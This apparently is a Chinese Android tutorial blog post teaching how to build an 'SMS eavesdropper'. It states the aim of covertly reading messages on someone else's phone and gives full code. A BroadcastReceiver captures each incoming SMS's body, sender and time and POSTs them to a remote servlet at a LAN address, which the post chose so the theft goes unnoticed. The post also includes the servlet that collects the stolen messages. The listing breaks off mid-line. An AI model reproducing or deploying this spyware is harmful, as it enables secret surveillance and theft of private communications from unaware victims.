Android入门：广播接收者应用（短信窃听器）

一、短信窃听器原理介绍

短信窃听器的目的是窃听某人发送的短信，比如我们在A的手机中安装了此应用想要看B发送给A的短信；

而怎么样才能够获得短信息呢？如果通过短信方式发送给第三方，则会被看出来，因此我们可以通过网络将消息发送给web服务器；

Android手机中的Messaging应用也只是一个普通的应用；

二、核心代码

短信窃听器客户端核心代码

在AndroidManifest.xml中添加权限：
[html]
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>

(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据
(2)byte[] pdu = (byte[])pdus[0];
(3)SmsMessage message = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage
(4)String content = message.getMessageBody();获得短信内容
(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间
(6)String senderNumber = message.getOriginatingAddress();获得发送方号码

服务器端代码只是接收参数并显示；

三、短信窃听器具体代码

服务器端代码

[java]
package org.xiazdong.servlet;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/SMSServlet")
public class SMSServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doPost(request, response);
    }
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        request.setCharacterEncoding("utf-8");
        String sender = request.getParameter("sender");
        String body = request.getParameter("body");
        String time = request.getParameter("time");
        System.out.println("发送方："+sender);
        System.out.println("发送内容："+body);
        System.out.println("发送时间："+time);
    }
}

1.只是获得短信息

场景介绍

效果说明：

[java]
package com.xiazdong.smslistener;

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;

public class SMSBroadcastReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
 Object[] pdus = (Object[])intent.getExtras().get("pdus"); //接收数据
 for(Object p: pdus){
 byte[]pdu = (byte[])p;
 SmsMessage message = SmsMessage.createFromPdu(pdu); //根据获得的byte[]封装成SmsMessage
 String body = message.getMessageBody(); //发送内容
 String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间
 String sender = message.getOriginatingAddress(); //短信发送方
 try {
 sendSMS(sender,body,date);
 } catch (Exception e) {
 e.printStackTrace();
 }
 if("5554".equals(sender)){
 try {
 sendSMS(sender,body,date);
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
 }
 }

 private void sendSMS(String sender, String body, String date) throws Exception{
 String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date);
 byte[]bytes = params.getBytes("UTF-8");
 URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet");
 HttpURLConnection conn = (HttpURLConnection)url.openConnection();
 conn.setRequestMethod("POST");
 conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); //设置HTTP请求头
 conn.setRequestProperty("Content-Length", bytes.length+"");
 conn.setDoOutput(true);
 OutputStream out = conn.getOutputStream();
 &nb

补充：移动开发 , Android ,